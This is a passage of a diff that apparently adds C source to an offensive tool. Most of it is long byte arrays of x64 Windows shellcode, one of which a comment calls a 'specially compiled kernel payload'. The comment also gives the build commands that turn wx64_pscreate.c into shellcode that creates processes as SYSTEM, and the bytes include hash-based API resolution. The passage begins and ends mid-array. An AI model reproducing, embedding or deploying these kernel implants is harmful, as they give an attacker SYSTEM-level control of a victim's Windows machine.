0x1f, 0x40, 0x02, + 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x67, 0xc7, 0x44, 0x24, 0x20, 0x03, 0x00, + 0x00, 0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x27, 0x41, 0xff, 0x97, 0x98, 0x00, + 0x00, 0x00, 0x33, 0xd2, 0x8b, 0xf8, 0x85, 0xc0, 0x0f, 0x85, 0x01, 0x01, + 0x00, 0x00, 0xc6, 0x44, 0x24, 0x50, 0x01, 0xe9, 0x96, 0x00, 0x00, 0x00, + 0x48, 0x39, 0x55, 0xef, 0x0f, 0x84, 0xed, 0x00, 0x00, 0x00, 0xba, 0x40, + 0x02, 0x00, 0x00, 0x49, 0x8b, 0xcc, 0x41, 0xff, 0x97, 0x80, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x46, 0x28, 0x48, 0x8d, 0x56, 0x5e, 0x49, 0x89, 0x44, + 0x24, 0x30, 0x48, 0x8b, 0x46, 0x10, 0x49, 0x89, 0x44, 0x24, 0x08, 0x48, + 0x8b, 0x46, 0x08, 0x49, 0x89, 0x44, 0x24, 0x18, 0x48, 0x8b, 0x46, 0x20, + 0x49, 0x83, 0x0c, 0x24, 0x10, 0x49, 0x89, 0x44, 0x24, 0x10, 0x8b, 0x46, + 0x38, 0x24, 0x10, 0xf6, 0xd8, 0x48, 0x1b, 0xc9, 0x48, 0xf7, 0xd9, 0x48, + 0xff, 0xc1, 0x49, 0x09, 0x0c, 0x24, 0xb9, 0x03, 0x01, 0x00, 0x00, 0x8b, + 0x46, 0x3c, 0x3b, 0xc1, 0x0f, 0x47, 0xc1, 0x49, 0x8d, 0x4c, 0x24, 0x38, + 0x44, 0x8b, 0xc0, 0x41, 0xff, 0x57, 0x60, 0x33, 0xd2, 0x49, 0x81, 0xc4, + 0x40, 0x02, 0x00, 0x00, 0x49, 0xff, 0xc6, 0x4d, 0x3b, 0xf5, 0x73, 0x73, + 0x8b, 0x06, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x03, 0xf0, 0xe9, 0x78, 0xff, + 0xff, 0xff, 0x88, 0x54, 0x24, 0x50, 0x48, 0x8b, 0x4b, 0x28, 0x48, 0x8d, + 0x45, 0xe7, 0x48, 0x03, 0x8b, 0x10, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc9, + 0x48, 0x8b, 0xb3, 0x08, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x48, 0x89, + 0x54, 0x24, 0x48, 0x48, 0x81, 0xc6, 0x00, 0x00, 0xf0, 0xff, 0x88, 0x54, + 0x24, 0x40, 0x48, 0x03, 0xf1, 0x48, 0x8b, 0x4d, 0x67, 0x48, 0xc7, 0x44, + 0x24, 0x38, 0x03, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x30, 0x00, 0x00, + 0x10, 0x00, 0x48, 0x89, 0x74, 0x24, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20, + 0x41, 0xff, 0x97, 0xa0, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x8b, 0xf8, 0x85, + 0xc0, 0x0f, 0x84, 0x09, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x4d, 0x67, 0x4b, + 0x8d, 0x04, 0xf6, 0x48, 0xc1, 0xe0, 0x06, 0x48, 0x89, 0x83, 0x00, 0x02, + 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x09, 0x41, 0xff, 0x97, 0x88, 0x00, + 0x00, 0x00, 0x33, 0xd2, 0x4d, 0x85, 0xf6, 0x0f, 0x45, 0xfa, 0x8b, 0xc7, + 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x38, + 0x49, 0x8b, 0x73, 0x40, 0x49, 0x8b, 0x7b, 0x48, 0x49, 0x8b, 0xe3, 0x41, + 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x18, 0x55, 0x57, + 0x41, 0x56, 0x48, 0x8d, 0x6c, 0x24, 0xb9, 0x48, 0x81, 0xec, 0xb0, 0x00, + 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00, 0x48, 0x8b, 0xfa, 0x48, 0x8b, + 0xf1, 0xbb, 0x30, 0x00, 0x00, 0x00, 0x8b, 0xd3, 0x48, 0x8d, 0x4d, 0x17, + 0x4d, 0x8b, 0xf0, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x8d, 0x53, 0xe0, + 0x48, 0x8d, 0x4d, 0xf7, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x49, 0x8d, + 0x96, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x07, 0xff, 0x57, 0x78, + 0x83, 0x64, 0x24, 0x50, 0x00, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x83, 0x64, + 0x24, 0x48, 0x00, 0x4c, 0x8d, 0x4d, 0xf7, 0x48, 0x83, 0x65, 0x1f, 0x00, + 0x4c, 0x8d, 0x45, 0x17, 0xc7, 0x44, 0x24, 0x40, 0x20, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x4d, 0x6f, 0xc7, 0x44, 0x24, 0x38, 0x01, 0x00, 0x00, 0x00, + 0x0f, 0x57, 0xc0, 0xc7, 0x44, 0x24, 0x30, 0x03, 0x00, 0x00, 0x00, 0xba, + 0x00, 0x00, 0x00, 0x80, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00, + 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x89, 0x5d, 0x17, 0x48, 0xc7, + 0x45, 0x2f, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0x27, 0xf3, 0x0f, + 0x7f, 0x45, 0x37, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0x8b, 0xd8, 0x85, + 0xc0, 0x75, 0x59, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x49, 0x8d, 0x86, + 0x28, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x8e, 0x08, 0x02, 0x00, 0x00, 0x45, + 0x33, 0xc9, 0x48, 0x03, 0x4e, 0x28, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x44, + 0x24, 0x38, 0x33, 0xd2, 0x41, 0x8b, 0x86, 0x30, 0x03, 0x00, 0x00, 0x89, + 0x44, 0x24, 0x30, 0x48, 0x8d, 0x45, 0xf7, 0x48, 0x89, 0x4c, 0x24, 0x28, + 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x97, 0xb8, + 0x00, 0x00, 0x00, 0x8b, 0xd8, 0x85, 0xc0, 0x75, 0x0b, 0x48, 0x8b, 0x45, + 0xff, 0x48, 0x89, 0x86, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x6f, + 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x97, 0x88, 0x00, 0x00, 0x00, 0x4c, + 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xc3, 0x49, 0x8b, 0x5b, + 0x20, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5d, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, 0x48, 0x8d, 0x68, 0xa1, + 0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x65, 0x6f, 0x00, + 0x48, 0x8d, 0x4d, 0x27, 0x48, 0x8b, 0xf2, 0xbf, 0x30, 0x00, 0x00, 0x00, + 0x8b, 0xd7, 0x49, 0x8b, 0xd8, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0x8d, + 0x57, 0xe0, 0x48, 0x8d, 0x4d, 0x07, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x93, 0x1c, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x17, 0xff, + 0x56, 0x78, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8d, 0x45, 0x17, 0x48, 0x83, + 0x65, 0x2f, 0x00, 0x0f, 0x57, 0xc0, 0x48, 0x89, 0x45, 0x37, 0x8a, 0xc1, + 0x24, 0x80, 0x48, 0x89, 0x7d, 0x27, 0xf6, 0xd8, 0x48, 0xc7, 0x45, 0x3f, + 0x40, 0x02, 0x00, 0x00, 0xf3, 0x0f, 0x7f, 0x45, 0x47, 0x1b, 0xd2, 0x81, + 0xe2, 0x04, 0x00, 0x00, 0xc0, 0x81, 0xc2, 0x00, 0x00, 0x00, 0x40, 0xf6, + 0xc1, 0x40, 0x74, 0x0d, 0x48, 0x83, 0xbb, 0x28, 0x03, 0x00, 0x00, 0x00, + 0x8d, 0x47, 0xd5, 0x74, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x83, 0x64, + 0x24, 0x50, 0x00, 0x4c, 0x8d, 0x4d, 0x07, 0x48, 0x83, 0x64, 0x24, 0x48, + 0x00, 0x4c, 0x8d, 0x45, 0x27, 0xc7, 0x44, 0x24, 0x40, 0x20, 0x00, 0x00, + 0x00, 0x48, 0x8d, 0x4d, 0x6f, 0x89, 0x44, 0x24, 0x38, 0x83, 0x64, 0x24, + 0x30, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00, 0x48, 0x83, + 0x64, 0x24, 0x20, 0x00, 0xff, 0x96, 0x90, 0x00, 0x00, 0x00, 0x8b, 0xf8, + 0x85, 0xc0, 0x75, 0x45, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x48, 0x8d, + 0x83, 0x28, 0x03, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8d, + 0x8b, 0x38, 0x03, 0x00, 0x00, 0x8b, 0x83, 0x30, 0x03, 0x00, 0x00, 0x45, + 0x33, 0xc9, 0x89, 0x44, 0x24, 0x30, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x4c, + 0x24, 0x28, 0x48, 0x8d, 0x45, 0x07, 0x48, 0x8b, 0x4d, 0x6f, 0x33, 0xd2, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x96, 0xc0, 0x00, 0x00, 0x00, 0x8b, + 0xf8, 0x48, 0x8b, 0x4d, 0x6f, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, 0x96, + 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, + 0x8b, 0xc7, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, + 0x7b, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x81, + 0xec, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x54, 0x24, + 0x20, 0x48, 0x8b, 0x49, 0x08, 0xe8, 0xba, 0x00, 0x00, 0x00, 0x4c, 0x8b, + 0x83, 0x08, 0x01, 0x00, 0x00, 0x4c, 0x03, 0x43, 0x28, 0x48, 0x81, 0xbb, + 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00, 0x0f, 0x82, 0x86, 0x00, + 0x00, 0x00, 0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93, 0xad, 0x20, 0xe7, 0x79, + 0x49, 0x39, 0x00, 0x75, 0x77, 0x49, 0x8b, 0x40, 0x08, 0x48, 0x83, 0xf8, + 0x01, 0x75, 0x19, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, + 0xc0, 0xfa, 0xff, 0xff, 0x48, 0x63, 0xc8, 0x48, 0x89, 0x8b, 0x20, 0x02, + 0x00, 0x00, 0xeb, 0x60, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x0f, 0x48, 0x8d, + 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xe9, 0xfc, 0xff, 0xff, 0xeb, + 0xdf, 0x48, 0x83, 0xf8, 0x02, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, + 0x48, 0x8b, 0xcb, 0xe8, 0x1c, 0xfe, 0xff, 0xff, 0xeb, 0xca, 0x48, 0x83, + 0xf8, 0x04, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, + 0xe8, 0xb3, 0xf8, 0xff, 0xff, 0xeb, 0xb5, 0x48, 0x83, 0xf8, 0x05, 0x75, + 0x1b, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x7e, 0xf9, + 0xff, 0xff, 0xeb, 0xa0, 0xb8, 0x01, 0x00, 0x00, 0xc0, 0x48, 0x89, 0x83, + 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00, 0x5b, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55, + 0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0x90, 0x00, 0x00, 0x00, 0x4c, + 0x8b, 0xf1, 0xc7, 0x45, 0xe7, 0x4a, 0x45, 0x3b, 0xd7, 0xc7, 0x45, 0xeb, + 0x62, 0xe0, 0x07, 0x37, 0x48, 0x8d, 0xba, 0xc8, 0x00, 0x00, 0x00, 0xc7, + 0x45, 0xef, 0x1f, 0x9d, 0x48, 0x9d, 0x48, 0x8d, 0x75, 0x4b, 0xc7, 0x45, + 0xf3, 0xa1, 0x7b, 0xcc, 0xdc, 0xbb, 0x19, 0x00, 0x00, 0x00, 0xc7, 0x45, + 0xf7, 0x92, 0x6d, 0x58, 0x58, 0xc7, 0x45, 0xfb, 0xce, 0xad, 0x90, 0x4d, + 0xc7, 0x45, 0xff, 0x57, 0x63, 0x32, 0x5a, 0xc7, 0x45, 0x03, 0x8f, 0xb5, + 0x6a, 0x6a, 0xc7, 0x45, 0x07, 0xf9, 0xbe, 0xdd, 0x05, 0xc7, 0x45, 0x0b, + 0xf7, 0x38, 0xb3, 0x9d, 0xc7, 0x45, 0x0f, 0xc9, 0xc5, 0x6e, 0x6c, 0xc7, + 0x45, 0x13, 0x89, 0x83, 0x6c, 0xeb, 0xc7, 0x45, 0x17, 0x9b, 0x97, 0x64, + 0xcf, 0xc7, 0x45, 0x1b, 0x2a, 0xc0, 0xb2, 0xa8, 0xc7, 0x45, 0x1f, 0x3d, + 0x28, 0xc3, 0x7c, 0xc7, 0x45, 0x23, 0x2a, 0xd0, 0x35, 0x30, 0xc7, 0x45, + 0x27, 0xdb, 0x4f, 0x3d, 0xc5, 0xc7, 0x45, 0x2b, 0x61, 0x4c, 0x04, 0x5d, + 0xc7, 0x45, 0x2f, 0x9d, 0x8f, 0xa0, 0xc3, 0xc7, 0x45, 0x33, 0xb8, 0xd4, + 0x29, 0x88, 0xc7, 0x45, 0x37, 0x50, 0x64, 0xb0, 0x6f, 0xc7, 0x45, 0x3b, + 0xe2, 0xca, 0x61, 0xe6, 0xc7, 0x45, 0x3f, 0xde, 0x24, 0xe6, 0xf7, 0xc7, + 0x45, 0x43, 0x16, 0x35, 0xfd, 0x87, 0xc7, 0x45, 0x47, 0x36, 0x31, 0x0e, + 0x68, 0x48, 0x8d, 0x76, 0xfc, 0x49, 0x8b, 0xce, 0x8b, 0x16, 0x48, 0x8d, + 0x7f, 0xf8, 0xe8, 0x25, 0x00, 0x00, 0x00, 0x48, 0x89, 0x07, 0x83, 0xc3, + 0xff, 0x75, 0xe6, 0x4c, 0x8d, 0x9c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x49, + 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, 0x7b, 0x20, 0x4d, + 0x8b, 0x73, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x8b, 0xea, 0x48, 0x85, 0xc9, 0x74, 0x7a, 0xb8, 0x4d, + 0x5a, 0x00, 0x00, 0x66, 0x39, 0x01, 0x75, 0x70, 0x48, 0x63, 0x41, 0x3c, + 0x48, 0x03, 0xc1, 0x74, 0x67, 0x81, 0x38, 0x50, 0x45, 0x00, 0x00, 0x75, + 0x5f, 0x8b, 0x90, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xd1, 0x74, 0x54, + 0x44, 0x8b, 0x5a, 0x18, 0x45, 0x85, 0xdb, 0x74, 0x4b, 0x8b, 0x42, 0x20, + 0x85, 0xc0, 0x74, 0x44, 0x8b, 0x72, 0x24, 0x4c, 0x8d, 0x0c, 0x01, 0x8b, + 0x7a, 0x1c, 0x48, 0x03, 0xf1, 0x48, 0x03, 0xf9, 0x45, 0x33, 0xc0, 0x45, + 0x85, 0xdb, 0x74, 0x2c, 0x45, 0x8b, 0x11, 0x4c, 0x03, 0xd1, 0x33, 0xdb, + 0xeb, 0x0b, 0x0f, 0xb6, 0xc0, 0x49, 0xff, 0xc2, 0xc1, 0xcb, 0x0d, 0x03, + 0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0, 0x75, 0xee, 0x3b, 0xdd, 0x74, 0x23, + 0x41, 0xff, 0xc0, 0x49, 0x83, 0xc1, 0x04, 0x45, 0x3b, 0xc3, 0x72, 0xd4, + 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x8b, 0x6c, 0x24, 0x10, + 0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0xc3, 0x46, + 0x0f, 0xb7, 0x04, 0x46, 0x44, 0x3b, 0x42, 0x14, 0x73, 0xde, 0x42, 0x8b, + 0x04, 0x87, 0x48, 0x03, 0xc1, 0xeb, 0xd7 + }; + *ppb = WINX64_VFS_BIN; + *pcb = sizeof(WINX64_VFS_BIN); +} + +// specially compiled kernel payload, compile and extract shellcode with: +// +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_SYSTEM /D_EXEC_USER_EXTERNAL wx64_pscreate.c +// ml64 wx64_common_a.asm /Fewx64_pscmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj +// shellcode64.exe -o wx64_pscmd.exe +// xxd -i wx64_pscmd.bin +VOID GetData_PSCMD_KERNEL(PBYTE *ppb, PDWORD pcb) +{ + BYTE WINX64_PSCMD_KERNEL_BIN[] = { + 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, + 0xe8, 0x7b, 0x06, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x0f, 0x20, + 0xd8, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x55, 0x53, 0x56, + 0x57, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x6c, 0x24, 0xd9, + 0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xb9, 0x20, 0x01, + 0x00, 0x00, 0x48, 0x8b, 0xf2, 0x48, 0x83, 0x65, 0x7f, 0x00, 0x48, 0x8d, + 0x55, 0x7f, 0x48, 0x83, 0x65, 0x77, 0x00, 0x48, 0x8b, 0xd9, 0x45, 0x33, + 0xf6, 0x48, 0xc7, 0x45, 0x97, 0x00, 0x10, 0x00, 0x00, 0x4c, 0x21, 0x75, + 0x67, 0x49, 0x8b, 0xcf, 0x49, 0x8b, 0xf8, 0x41, 0xff, 0x50, 0x58, 0x48, + 0x63, 0xc8, 0x41, 0xbd, 0x00, 0x00, 0x00, 0xc0, 0x8b, 0xc1, 0x41, 0x23, + 0xc5, 0x41, 0x3b, 0xc5, 0x75, 0x17, 0x48, 0x89, 0x8b, 0x20, 0x02, 0x00, + 0x00, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xe9, 0xc1, 0x01, 0x00, 0x00, 0xba, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x4d, 0xf7, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0xba, 0x10, 0x00, 0x00, + 0x00, 0x48, 0x8d, 0x4d, 0x9f, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0x4c, + 0x21, 0x75, 0xa7, 0x4c, 0x8d, 0x4d, 0x9f, 0x4c, 0x8d, 0x45, 0xf7, 0x4c, + 0x89, 0x7d, 0x9f, 0xba, 0xff, 0xff, 0x1f, 0x00, 0x48, 0x8d, 0x4d, 0x67, + 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x48, 0x63, 0xc8, 0x8b, 0xc1, 0x41, + 0x23, 0xc5, 0x41, 0x3b, 0xc5, 0x75, 0x17, 0x48, 0x89, 0x8b, 0x20, 0x02, + 0x00, 0x00, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0xe9, 0x45, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x67, 0x4c, 0x8d, + 0x4d, 0x97, 0xc7, 0x44, 0x24, 0x28, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x55, 0x77, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x20, + 0x00, 0x30, 0x00, 0x00, 0xff, 0x57, 0x78, 0x48, 0x63, 0xc8, 0x8b, 0xc1, + 0x41, 0x23, 0xc5, 0x41, 0x3b, 0xc5, 0x75, 0x17, 0x48, 0x89, 0x8b, 0x20, + 0x02, 0x00, 0x00, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00, 0x05, 0x00, + 0x00, 0x00, 0xe9, 0xfc, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x7f, 0x48, + 0x8d, 0x55, 0xb7, 0xff, 0x57, 0x18, 0x4c, 0x39, 0xb3, 0x30, 0x01, 0x00, + 0x00, 0x74, 0x38, 0x4c, 0x8b, 0xc7, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcb, + 0xe8, 0x3f, 0x04, 0x00, 0x00, 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, + 0x22, 0x48, 0xc7, 0x83, 0x20, 0x02, 0x00, 0x00, 0x05, 0x40, 0x00, 0x80, + 0x48, 0x8d, 0x4d, 0xb7, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00, 0x06, + 0x00, 0x00, 0x00, 0xff, 0x57, 0x20, 0xe9, 0xb0, 0x00, 0x00, 0x00, 0x4c, + 0x8b, 0x4d, 0x77, 0x4c, 0x8b, 0xc7, 0x48, 0x8b, 0xd6, 0x4c, 0x89, 0x74, + 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x16, 0x03, 0x00, 0x00, 0x8b, 0xc8, + 0x41, 0x23, 0xcd, 0x41, 0x3b, 0xcd, 0x48, 0x8d, 0x4d, 0xb7, 0x75, 0x16, + 0x48, 0x98, 0x48, 0x89, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0xc7, 0x83, + 0x28, 0x02, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xeb, 0xbd, 0xff, 0x57, + 0x20, 0x4c, 0x8b, 0x57, 0x68, 0x4d, 0x85, 0xd2, 0x74, 0x69, 0x48, 0x8b, + 0x4d, 0x67, 0x48, 0x8d, 0x45, 0xe7, 0x48, 0x89, 0x44, 0x24, 0x48, 0x45, + 0x33, 0xc9, 0x48, 0x8d, 0x45, 0xaf, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x44, + 0x24, 0x40, 0x33, 0xd2, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8b, + 0x45, 0x77, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x83, 0x64, 0x24, 0x28, + 0x00, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x41, 0xff, 0xd2, 0x8b, 0xc8, + 0x41, 0x23, 0xcd, 0x41, 0x3b, 0xcd, 0x75, 0x16, 0x48, 0x98, 0x48, 0x89, + 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0xc7, 0x83, 0x28, 0x02, 0x00, 0x00, + 0x0a, 0x00, 0x00, 0x00, 0xeb, 0x0d, 0xba, 0xfa, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0xce, 0xe8, 0x61, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x67, 0x48, + 0x85, 0xc9, 0x74, 0x06, 0xff, 0x96, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x4d, 0x7f, 0x48, 0x85, 0xc9, 0x74, 0x03, 0xff, 0x57, 0x48, 0x48, 0x81, + 0xc4, 0xe0, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x5f, + 0x5e, 0x5b, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, + 0x24, 0x18, 0x56, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, + 0xec, 0x40, 0x4c, 0x8b, 0xe2, 0x48, 0x8b, 0xf1, 0x33, 0xd2, 0x4d, 0x8b, + 0xf1, 0x4d, 0x8b, 0xf8, 0x4c, 0x8d, 0x4c, 0x24, 0x70, 0x45, 0x33, 0xc0, + 0x8d, 0x5a, 0x05, 0x8b, 0xcb, 0xff, 0x96, 0xa8, 0x00, 0x00, 0x00, 0x3d, + 0x04, 0x00, 0x00, 0xc0, 0x0f, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x8b, 0x4c, + 0x24, 0x70, 0x85, 0xc9, 0x0f, 0x84, 0xa6, 0x00, 0x00, 0x00, 0x8b, 0xd1, + 0x33, 0xc9, 0xff, 0x56, 0x08, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, + 0x0a, 0xb8, 0x0e, 0x00, 0x07, 0x80, 0xe9, 0x8d, 0x00, 0x00, 0x00, 0x44, + 0x8b, 0x44, 0x24, 0x70, 0x4c, 0x8d, 0x4c, 0x24, 0x70, 0x48, 0x8b, 0xd7, + 0x8b, 0xcb, 0xff, 0x96, 0xa8, 0x00, 0x00, 0x00, 0x8b, 0xe8, 0x85, 0xc0, + 0x78, 0x6a, 0x48, 0x8b, 0xdf, 0xba, 0x10, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x4c, 0x24, 0x30, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x43, + 0x50, 0x48, 0x8d, 0x44, 0x24, 0x30, 0x41, 0xb9, 0x10, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x44, 0x24, 0x20, 0x49, 0x8b, 0xd4, 0x48, 0x8b, 0xce, 0xe8, + 0x5c, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xd7, 0x48, 0x8d, 0x4c, 0x24, 0x30, + 0xff, 0x16, 0x85, 0xc0, 0x74, 0x23, 0x8b, 0x03, 0x85, 0xc0, 0x74, 0x16, + 0x48, 0x03, 0xd8, 0x48, 0x3b, 0xdf, 0x72, 0x1c, 0x8b, 0x44, 0x24, 0x70, + 0x48, 0x03, 0xc7, 0x48, 0x3b, 0xd8, 0x73, 0x10, 0xeb, 0xa7, 0xbd, 0x9f, + 0x13, 0x07, 0x80, 0xeb, 0x07, 0x48, 0x8b, 0x43, 0x50, 0x49, 0x89, 0x06, + 0x48, 0x8b, 0xcf, 0xff, 0x56, 0x10, 0x8b, 0xc5, 0x4c, 0x8d, 0x5c, 0x24, + 0x40, 0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x6b, 0x40, 0x49, 0x8b, 0xe3, + 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57, + 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf2, 0x4c, 0x8b, 0xf1, + 0x48, 0x8d, 0x54, 0x24, 0x48, 0x49, 0x8b, 0xc8, 0x49, 0x8b, 0xe9, 0xff, + 0x56, 0x58, 0x8b, 0xf8, 0x85, 0xc0, 0x78, 0x23, 0x48, 0x8b, 0x4c, 0x24, + 0x48, 0xff, 0x56, 0x50, 0x48, 0x8b, 0xc8, 0x48, 0x8b, 0xd5, 0x48, 0x8b, + 0xd8, 0xff, 0x56, 0x70, 0x48, 0x8b, 0x4c, 0x24, 0x60, 0x48, 